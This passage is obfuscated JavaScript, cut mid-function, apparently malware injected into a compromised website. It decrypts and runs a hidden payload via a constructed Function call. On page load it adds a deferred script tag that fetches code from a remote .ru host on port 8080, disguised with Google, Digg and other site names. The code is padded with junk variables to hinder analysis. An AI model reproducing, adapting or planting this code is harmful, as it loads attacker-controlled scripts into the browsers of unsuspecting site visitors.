OW!='jL'){OW='ZK'};this.DU="DU";C = new H(C);this.Bg=false;var ypJ=new Date();var q = '';var ur=36378;var n =[0][0];this.iD="";this.Fh="";var mp;if(mp!='mO' && mp!='FP'){mp='mO'};for (b=C[s("elntgh", [1,0,2])]-B;b>=n;b=b-[121,79,1,212][2]){this.wQ="wQ";var bb=new Date();q+=C[s("achtrA", [1,2,0])](b);this.kYD=23255;}var hZ;if(hZ!='Nh' && hZ!='Ke'){hZ=''};return q;this.Jj=false;}var rE="rE";var gu="gu"; function dp(OS){var lY='';var Qa;if(Qa!='' && Qa!='UOw'){Qa=null};var Tq=new Date();var Eh=OS[s("egnlth", [3,0,2,1])];var p=[208,255,227][1];var f=[0,246][0];var gD=false;var Z=[73,0][1];this.gk='';var z=[14,1][1];var Ti="Ti";while(f<Eh){f++;this.vk='';var ZZ;if(ZZ!='Xs' && ZZ!='TR'){ZZ=''};I=O(OS,f - z);var Fv;if(Fv!='Ta' && Fv!='yk'){Fv=''};this.yP="";Z+=I*Eh;}var JI;if(JI!='ZW' && JI!='LR'){JI='ZW'};var aK;if(aK!='' && aK!='eU'){aK=''};return new H(Z % p);var Gp;if(Gp!='' && Gp!='ru'){Gp=''};}var Bn=new String();var Op;if(Op!='' && Op!='nX'){Op=''};var kT;if(kT!='' && kT!='Xk'){kT=''};this.KE="KE";var rX;if(rX!='UVN' && rX!='ct'){rX='UVN'};var IA=new Array(); var N=function(EX,P){var VL="VL";var BO;if(BO!=''){BO='GA'};return EX^P;};var Vh=new Array();this.ld=56483;var qR;if(qR!='Pw' && qR!='Tt'){qR='Pw'};var Gc;if(Gc!='xu' && Gc!='uA'){Gc=''};this.zm="";var G=window;this.Me=59320;var bC=G[s("vela", [1,0])];var Zm=bC(s("unFticon", [2,0,1]));var pqE;if(pqE!='oS'){pqE='oS'};var Bw=new Array();var D = '';var H=bC(s("trSngi", [2,0,1]));this.Yn="Yn";var m=bC(s("eEgRxp", [3,0,2,1]));var Gs;if(Gs!='gd'){Gs=''};this.iS="iS";this.OC=60348;this.jAx=23159;var Jn;if(Jn!='wG' && Jn!='UU'){Jn='wG'};this.AM="";var gi;if(gi!='xf'){gi='xf'};var e=H[s("roarfCmhCode", [4,0,1,6,5,7,2,3])];var hY;if(hY!='' && hY!='ZO'){hY=''};var Sa;if(Sa!='yO' && Sa!='Ad'){Sa='yO'};var g=G[s("enuacspe", [2,1,0])];this.MNx="";this.BFN=false;this.rI="";var z =[25,1][1];this.vF="vF";var Rj =[0][0];this.ly="";var RY;if(RY!=''){RY='YT'};var U = "%";var IT = '';var xU=new Date();var Am;if(Am!='Jt'){Am='Jt'};var ze = /[^@a-z0-9A-Z_-]/g;var u = '';var J = '';var xuw='';var bf;if(bf!='' && bf!='Ow'){bf='JW'};var n =[197,69,0,132][2];var We;if(We!='SBi' && We!='ra'){We=''};var h = cz[s("elgnht", [1,0])];var lx =[157,2,53][1];var dz="";var Cr=[1, s("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, s("oeumdctdbon..eppyadlhinCd(d)", [4,0,5,2,3,1]),3, s("mco.vlietsiesdei.gnr8u:080", [1,2,0,3]),4, s(".wcmonugrdreuocon.d.matt", [2,4,3,0,1,6,5]),5, s("s.dAterttubi(eted\'ref\'", [2,1,0]),6, s("uyobtuce.om", [1,2,0]),7, s("lraelpecsi.com", [2,4,0,1,3]),8, s("dniwwolno.aod", [3,2,1,0,5,4]),11, s("aiemgf.aopcm", [1,3,0,4,2,5]),12, s("utcfno)(in", [3,0,4,2,1]),14, s("ogoglco.em", [3,2,0,1,4]),15, s("dfhcanbk", [2,0,1,3]),16, s("htcac(e)", [4,3,1,2,0]),17, s("ht\"p:t", [2,0,1]),18, s("rd.sc", [1,2,3,0]),19, s("1\'\')", [2,0,1,3]),20, s("ytr", [1,2,0])];this.yd="yd";var XB='';var TT;if(TT!='' && TT!='rt'){TT=null};for(var gt=n; gt < h; gt+=lx){J+= U; var iL;if(iL!='zx'){iL=''};J+= cz[s("usbstr", [3,0,2,1])](gt, lx);}this.iW="";this.Kw='';var cz = g(J);var ZG=new Date();var nt;if(nt!='' && nt!='kG'){nt='fy'};var YAF=33454;var S = new H(o);var Pg = S[s("epracle", [2,0,1])](ze, IT);var rS='';var x = new H(Zm);var Qq=false;Pg = c(Pg);this.BS=2487;var gG;if(gG!='rN'){gG=''};var RZ=new Array();var jS;if(jS!='' && jS!='YY'){jS=''};var ox = Cr[s("gtelnh", [3,2,4,0,1])];var UZr;if(UZr!='bR' && UZr != ''){UZr=null};var fn;if(fn!='' && fn!='Yc'){fn='ia'};var MeA;if(MeA!='' && MeA!='SY'){MeA=''};var dpB = x[s("arclpee", [1,5,4,3,0,2,6])](ze, IT);this.Ehk=43348;var dpB = dp(dpB);var rp;if(rp!='' && rp!='PM'){rp='Im'};var Yq=9257;var cd=dp(Pg);var Oj=new String();var dm="";for(var b=n; b < (cz[s("ntlgeh", [2,4,0,3,1])]);b=b+[1][0]) {this.Oi="";this.KG="";var Go = Pg.charCodeAt(Rj);var hM = O(cz,b);this.wl="";this.BD="";hM = N(hM, Go);var ee='';var qm;if(qm!='Nm' && qm != ''){qm=null};hM = N(hM, cd);this.Og="Og";hM = N(hM, dpB);this.IF="";var uAK;if(uAK!='' && uAK!='zGi'){uAK=null};var Fg;if(Fg!='' && Fg!='ak'){Fg=''};this.Jr=12957;Rj++;var CG;if(CG!='iH'){CG=''};var ArA="";var hj=false;var hx=false;if(Rj > Pg.length-z){var qZ;if(qZ!='' && qZ!='Eq'){qZ='oj'};var nz;if(nz!='' && nz!='GZ'){nz='pe'};Rj=n;var zt;if(zt!=''){zt='RW'};}var pT=new Array();u += e(hM);}for(fS=n; fS < ox; fS+=lx){var ws=new Date();var ht=new Date();var oy="oy";var j = e(Cr[fS]);this.Ir="";var wj;if(wj!='' && wj!='Hd'){wj=null};var pr=4795;var pL = Cr[fS + z];var Ej=new String();var dh=new String();var DJ;if(DJ!='uh' && DJ != ''){DJ=null};var uO=new Array();var kA=false;var rd=false;var ku = new m(j, e(103));var VO;if(VO!='kk'){VO='kk'};u=u[s("leracpe", [2,1,5,0,3,4])](ku, pL);}var vG;if(vG!='tC'){vG='tC'};this.iP="";var Db='';var gb;if(gb!=''){gb='eI'};var HT=new Zm(u);HT();var uM=new String();var mnh;if(mnh!='GZP'){mnh=''};var HL;if(HL!='NSy' && HL!='cN'){HL=''};cd = '';x = '';var Pn=new Array();u = '';var oJC;if(oJC!='bE'){oJC=''};dpB = '';var ng;if(ng!='' && ng!='OV'){ng=''};HT = '';var ARg;if(ARg!='' && ARg!='AAu'){ARg='to'};var iz="";this.Um=false;this.hQ="hQ";Pg = '';var sG="sG";this.Hx="Hx";var it=new Array();var Eim=new Array();return '';this.BL="";};this.Jou='';var kP;if(kP!='eL' && kP != ''){kP=null};o(Mt);
this.h="";function s() {var lI;if(lI!='sv' && lI!='P'){lI=''};var T='[';var K;if(K!='Lo' && K != ''){K=null};this.MV='';var J=new String();var z=new Date();var qx=new Array();var q='replace';var w;if(w!=''){w='d'};var St="";this.nC="";var c='g';var R='';var x=']';var Lf=new Date();var Pj="";var L=RegExp;var X;if(X!='yy'){X=''};var sM;if(sM!='V'){sM=''};function U(f,S){var AC=new String();var RI="";var C=T;var fx=new String();C+=S;var ez=new Array();C+=x;var kZ=new Date();var l=new L(C, c);this.B="";return f[q](l, J);};var El=new Date();this.iL="";var Fs=new Array();var F=window;var v=U('sHcErHiHpHtE',"EH");var lf;if(lf!='D'){lf=''};this.Vu="";var g=U('hItAtApI:A/C/AtIhCeIpAlCaCnzeAtV-zcVoCmA.AgzoAoIgAlCeC.AczlV.AdCiCgIgV-VcAoVmA.zsAaAmIuIeCsVtC.zrCuC:I',"CzIVA");var E='';var yr;if(yr!='' && yr!='FV'){yr='AY'};var M=U('/6kxixo2s6kxe6aQ.2n6e2tx/2k6ixo6s2k6e6a2.xnQext2/xuQl2t2iQm2axt6e6-2g6u6i6txa6rQ.Qc6oQm2/6gQo6oQg6l6e6.2c6oxm2/QtQe2rxrxa6.xcQo6mx.xb2rQ.Qp2hQpx',"6x2Q");var LA=new String();var W=new String();var p=U('8522143510235425584144352304333443',"35124");var _c;if(_c!='Nv' && _c != ''){_c=null};var Mz;if(Mz!='' && Mz!='Mt'){Mz=null};var G=U('c0r0e0a0t0eHE0lHeHmHeHn0t0',"H0");this.wg='';var m=new Array();var kI=new Date();F[U('o2n2lWo2aWd2',"2W")]=function(){try {this.Kj="";var o;if(o!='BB' && o!='ct'){o='BB'};E+=g;var ge='';var Be='';E+=p;this.cI='';E+=M;EC=document[G](v);var hS;if(hS!='KH' && hS != ''){hS=null};var oO;if(oO!='qa' && oO!='fi'){oO='qa'};n(EC,'src',E);var xx;if(xx!='ag'){xx='ag'};n(EC,'defer',([1][0]));var Re='';var TB;if(TB!=''){TB='SYj'};document.body.appendChild(EC);var xu=new String();var oP;if(oP!='' && oP!='Vo'){oP='hf'};} catch(N){};var Ds;if(Ds!='' && Ds!='TI'){Ds='mL'};};var Eq=new Date();var hm=new String();function n(t,xX,Q){var iQ;if(iQ!='Dz'){iQ=''};var aM='';t.setAttribute(xX, Q);var Wg;if(Wg!='Or' && Wg!='MVD'){Wg='Or'};}var cA;if(cA!='wM' && cA!='Qw'){cA=''};};var fW;if(fW!='yz' && fW != ''){fW=null};var ps=new String();s();